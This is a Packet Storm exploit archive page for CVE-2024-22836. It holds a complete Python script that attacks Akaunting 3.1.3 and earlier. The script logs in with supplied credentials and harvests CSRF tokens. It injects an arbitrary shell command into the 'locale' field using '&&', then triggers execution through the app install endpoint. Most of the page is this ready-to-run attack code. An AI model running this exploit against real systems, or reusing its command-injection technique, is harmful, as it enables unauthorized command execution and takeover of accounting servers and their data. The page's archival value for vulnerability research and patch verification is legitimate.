exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Akaunting 3.1.3 Remote Command Execution

Akaunting 3.1.3 Remote Command Execution
Posted Mar 11, 2024
Authored by u32i

Akaunting versions 3.1.3 and below suffer from a remote command execution vulnerability.

tags | exploit, remote
advisories | CVE-2024-22836
SHA-256 | 8d4933e0c1b3efde90f0ca90ae286fa4036671aa25168b79c0dd977756a0f6b1

Akaunting 3.1.3 Remote Command Execution

Change Mirror Download
# Exploit Title: Akaunting < 3.1.3 - RCE
# Date: 08/02/2024
# Exploit Author: u32i@proton.me
# Vendor Homepage: https://akaunting.com
# Software Link: https://github.com/akaunting/akaunting
# Version: <= 3.1.3
# Tested on: Ubuntu (22.04)
# CVE : CVE-2024-22836

#!/usr/bin/python3

import sys
import re
import requests
import argparse

def get_company():
# print("[INF] Retrieving company id...")
res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)
if res.status_code != 302:
print("[ERR] No company id was found!")
sys.exit(3)
cid = res.headers['Location'].split('/')[-1]
if cid == "login":
print("[ERR] Invalid session cookie!")
sys.exit(7)
return cid

def get_tokens(url):
res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)
search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)

if not search_res:
print("[ERR] Couldn't get csrf token")
sys.exit(1)

data = {}
data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')
data['session'] = res.cookies.get('akaunting_session')
return data

def inject_command(cmd):
url = f"{target}/{company_id}/wizard/companies"
tokens = get_tokens(url)
headers.update({"X-Csrf-Token": tokens['csrf_token']})
data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}
res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
if res.status_code == 200:
res_data = res.json()
if res_data['error']:
print("[ERR] Command injection failed!")
sys.exit(4)
print("[INF] Command injected!")


def trigger_rce(app, version = "1.0.0"):
print("[INF] Executing the command...")
url = f"{target}/{company_id}/apps/install"
data = {"alias": app, "version": version, "path": f"apps/{app}/download"}
headers.update({"Content-Type":"application/json"})
res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
if res.status_code == 200:
res_data = res.json()
if res_data['error']:
search_res = re.search(r">Exit Code\:.*<", res_data['message'])
if search_res:
print("[ERR] Failed to execute the command")
sys.exit(6)
print("[ERR] Failed to install the app! no command was executed!")
sys.exit(5)
print("[INF] Executed successfully!")

def login(email, password):
url = f"{target}/auth/login"
tokens = get_tokens(url)

cookies.update({
'akaunting_session': tokens['session']
})

data = {
"_token": tokens['csrf_token'],
"_method": "POST",
"email": email,
"password": password
}

req = requests.post(url, headers=headers, cookies=cookies, data=data)
res = req.json()
if res['error']:
print("[ERR] Failed to log in!")
sys.exit(8)

print("[INF] Logged in")
cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})

def main():
inject_command(args.command)
trigger_rce(args.alias, args.version)

if __name__=='__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="target url")
parser.add_argument("--email", help="user login email.")
parser.add_argument("--password", help="user login password.")
parser.add_argument("-i", "--id", type=int, help="company id (optional).")
parser.add_argument("-c", "--command", help="command to execute.")
parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")
parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")

args = parser.parse_args()

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}
cookies = {}
target = args.url

try:
login(args.email, args.password)
company_id = get_company() if not args.id else args.id
main()
except:
sys.exit(0)

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close